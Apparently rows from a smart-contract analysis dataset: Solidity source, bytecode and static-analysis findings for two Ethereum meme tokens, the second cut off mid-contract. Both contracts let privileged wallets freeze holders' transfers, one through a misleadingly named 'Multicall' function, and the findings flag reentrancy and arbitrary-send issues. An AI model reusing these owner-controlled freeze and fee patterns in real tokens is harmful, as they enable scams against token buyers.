return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000 * 10**9;
_maxHeldTokens = 60000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105ac578063db92dbb6146105c1578063dcb0e0ad146105d6578063dd62ed3e146105f6578063e8078d941461063c57600080fd5b8063a9059cbb14610541578063aacebbe314610561578063b2131f7d14610581578063c3c8cd801461059757600080fd5b80637a49cddb116100dc5780637a49cddb146104ad5780638da5cb5b146104cd57806394b8d8f2146104eb57806395d89b411461050b57600080fd5b8063590f897e1461044d5780636fc3eaec1461046357806370a0823114610478578063715018a61461049857600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a657806340b9a54b146103df57806345596e2e146103f557806349bd5a5e1461041557600080fd5b806327f3a72a14610334578063313ce5671461034957806331c2d8471461037057806332d873d81461039057600080fd5b806318160ddd116101c157806318160ddd146102c45780631816467f146102de5780631940d020146102fe57806323b872dd1461031457600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102725780630b78f9c0146102a257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061026560405180604001604052806012815260200171135d5b1d1a5d995c9cd9541c9bdd1bd8dbdb60721b81525081565b60405161021e9190611bcf565b34801561027e57600080fd5b5061029261028d366004611c49565b610651565b604051901515815260200161021e565b3480156102ae57600080fd5b506102c26102bd366004611c75565b610667565b005b3480156102d057600080fd5b5066038d7ea4c68000610214565b3480156102ea57600080fd5b506102c26102f9366004611c97565b6106ea565b34801561030a57600080fd5b50610214600f5481565b34801561032057600080fd5b5061029261032f366004611cb4565b61075f565b34801561034057600080fd5b50610214610847565b34801561035557600080fd5b5061035e600981565b60405160ff909116815260200161021e565b34801561037c57600080fd5b506102c261038b366004611d0b565b610857565b34801561039c57600080fd5b5061021460105481565b3480156103b257600080fd5b506102926103c1366004611c97565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103eb57600080fd5b50610214600b5481565b34801561040157600080fd5b506102c2610410366004611dd0565b6108e3565b34801561042157600080fd5b50600a54610435906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045957600080fd5b50610214600c5481565b34801561046f57600080fd5b506102c26109a7565b34801561048457600080fd5b50610214610493366004611c97565b6109d4565b3480156104a457600080fd5b506102c26109ef565b3480156104b957600080fd5b506102c26104c8366004611d0b565b610a63565b3480156104d957600080fd5b506000546001600160a01b0316610435565b3480156104f757600080fd5b506011546102929062010000900460ff1681565b34801561051757600080fd5b506102656040518060400160405280600a8152602001694d756c7469766572736560b01b81525081565b34801561054d57600080fd5b5061029261055c366004611c49565b610b72565b34801561056d57600080fd5b506102c261057c366004611c97565b610b7f565b34801561058d57600080fd5b50610214600d5481565b3480156105a357600080fd5b506102c2610bed565b3480156105b857600080fd5b506102c2610c23565b3480156105cd57600080fd5b50610214610cc1565b3480156105e257600080fd5b506102c26105f1366004611df7565b610cd9565b34801561060257600080fd5b50610214610611366004611e14565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064857600080fd5b506102c2610d56565b600061065e33848461109b565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068757600080fd5b600a82111561069557600080fd5b600a8111156106a357600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b03161461070a57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561078d57506001600160a01b03831660009081526004602052604090205460ff16155b80156107a65750600a546001600160a01b038581169116145b156107f5576001600160a01b03831632146107f55760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108008484846111bf565b6001600160a01b038416600090815260036020908152604080832033845290915281205461082f908490611e63565b905061083c85338361109b565b506001949350505050565b6000610852306109d4565b905090565b6008546001600160a01b0316336001600160a01b03161461087757600080fd5b60005b81518110156108df5760006006600084848151811061089b5761089b611e7a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d781611e90565b91505061087a565b5050565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016107ec90611ea9565b6008546001600160a01b0316336001600160a01b03161461092d57600080fd5b600081116109725760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107ec565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610754565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b476109d18161182e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a195760405162461bcd60e51b81526004016107ec90611ea9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a8357600080fd5b60005b81518110156108df57600a5482516001600160a01b0390911690839083908110610ab257610ab2611e7a565b60200260200101516001600160a01b031614158015610b03575060075482516001600160a01b0390911690839083908110610aef57610aef611e7a565b60200260200101516001600160a01b031614155b15610b6057600160066000848481518110610b2057610b20611e7a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b6a81611e90565b915050610a86565b600061065e3384846111bf565b6008546001600160a01b0316336001600160a01b031614610b9f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e790602001610754565b6008546001600160a01b0316336001600160a01b031614610c0d57600080fd5b6000610c18306109d4565b90506109d1816118b3565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b81526004016107ec90611ea9565b60115460ff1615610c9a5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ec565b6011805460ff1916600117905542601055651b48eb57e000600e55653691d6afc000600f55565b600a54600090610852906001600160a01b03166109d4565b6000546001600160a01b03163314610d035760405162461bcd60e51b81526004016107ec90611ea9565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610754565b6000546001600160a01b03163314610d805760405162461bcd60e51b81526004016107ec90611ea9565b60115460ff1615610dcd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ec565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e08308266038d7ea4c6800061109b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190611ede565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edb9190611ede565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c9190611ede565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7c816109d4565b600080610f916000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101e9190611efb565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611077573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190611f29565b6001600160a01b0383166110fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ec565b6001600160a01b03821661115e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ec565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ec565b6001600160a01b0382166112855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ec565b600081116112e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ec565b6001600160a01b03831660009081526006602052604090205460ff161561135c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107ec565b600080546001600160a01b0385811691161480159061138957506000546001600160a01b03848116911614155b156117cf57600a546001600160a01b0385811691161480156113b957506007546001600160a01b03848116911614155b80156113de57506001600160a01b03831660009081526004602052604090205460ff16155b1561166b5760115460ff166114355760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107ec565b60105442036114745760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107ec565b42601054610e106114859190611f46565b11156114ff57600f54611497846109d4565b6114a19084611f46565b11156114ff5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107ec565b6001600160a01b03831660009081526005602052604090206001015460ff16611567576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c6115789190611f46565b111561164c57600e548211156115d05760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107ec565b6115db42600f611f46565b6001600160a01b0384166000908152600560205260409020541061164c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107ec565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611685575060115460ff165b801561169f5750600a546001600160a01b03858116911614155b156117cf576116af42600f611f46565b6001600160a01b038516600090815260056020526040902054106117215760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107ec565b600061172c306109d4565b905080156117b85760115462010000900460ff16156117af57600d54600a5460649190611761906001600160a01b03166109d4565b61176b9190611f5e565b6117759190611f7d565b8111156117af57600d54600a5460649190611798906001600160a01b03166109d4565b6117a29190611f5e565b6117ac9190611f7d565b90505b6117b8816118b3565b4780156117c8576117c84761182e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181157506001600160a01b03841660009081526004602052604090205460ff165b1561181a575060005b6118278585858486611a27565b5050505050565b6008546001600160a01b03166108fc611848600284611f7d565b6040518115909202916000818181858888f19350505050158015611870573d6000803e3d6000fd5b506009546001600160a01b03166108fc61188b600284611f7d565b6040518115909202916000818181858888f193505050501580156108df573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f7576118f7611e7a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611950573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119749190611ede565b8160018151811061198757611987611e7a565b6001600160a01b0392831660209182029290920101526007546119ad913091168461109b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e6908590600090869030904290600401611f9f565b600060405180830381600087803b158015611a0057600080fd5b505af1158015611a14573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a338383611a49565b9050611a4186868684611a90565b505050505050565b6000808315611a89578215611a615750600b54611a89565b50600c54601054611a7490610384611f46565b421015611a8957611a86600582611f46565b90505b9392505050565b600080611a9d8484611b6d565b6001600160a01b0388166000908152600260205260409020549193509150611ac6908590611e63565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af6908390611f46565b6001600160a01b038616600090815260026020526040902055611b1881611ba1565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5d91815260200190565b60405180910390a3505050505050565b600080806064611b7d8587611f5e565b611b879190611f7d565b90506000611b958287611e63565b96919550909350505050565b30600090815260026020526040902054611bbc908290611f46565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bfc57858101830151858201604001528201611be0565b81811115611c0e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109d157600080fd5b8035611c4481611c24565b919050565b60008060408385031215611c5c57600080fd5b8235611c6781611c24565b946020939093013593505050565b60008060408385031215611c8857600080fd5b50508035926020909101359150565b600060208284031215611ca957600080fd5b8135611a8981611c24565b600080600060608486031215611cc957600080fd5b8335611cd481611c24565b92506020840135611ce481611c24565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1e57600080fd5b823567ffffffffffffffff80821115611d3657600080fd5b818501915085601f830112611d4a57600080fd5b813581811115611d5c57611d5c611cf5565b8060051b604051601f19603f83011681018181108582111715611d8157611d81611cf5565b604052918252848201925083810185019188831115611d9f57600080fd5b938501935b82851015611dc457611db585611c39565b84529385019392850192611da4565b98975050505050505050565b600060208284031215611de257600080fd5b5035919050565b80151581146109d157600080fd5b600060208284031215611e0957600080fd5b8135611a8981611de9565b60008060408385031215611e2757600080fd5b8235611e3281611c24565b91506020830135611e4281611c24565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7557611e75611e4d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ea257611ea2611e4d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ef057600080fd5b8151611a8981611c24565b600080600060608486031215611f1057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3b57600080fd5b8151611a8981611de9565b60008219821115611f5957611f59611e4d565b500190565b6000816000190483118215151615611f7857611f78611e4d565b500290565b600082611f9a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fef5784516001600160a01b031683529383019391830191600101611fca565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207d3510d959192c82b17c049ba321861b74d27cb343084a6fc7b443c87b8b592464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,686 |
0xac271d8bf8f7bb9e51fb577341d2246860c6f293 | /**
RadiantInu
"TAKE FLIGHT AS WE REACH FOR THE STAR ON THE ETH NETWORK"
Telegram:-https://t.me/radiantinuportal
WEBSITE:- https://radiantinu.com/
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RadiantInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "RadiantInu";
string private constant _symbol = "RadiantInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x34FAB60f44073C5A906F448DFD87e6C190A63FE6);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
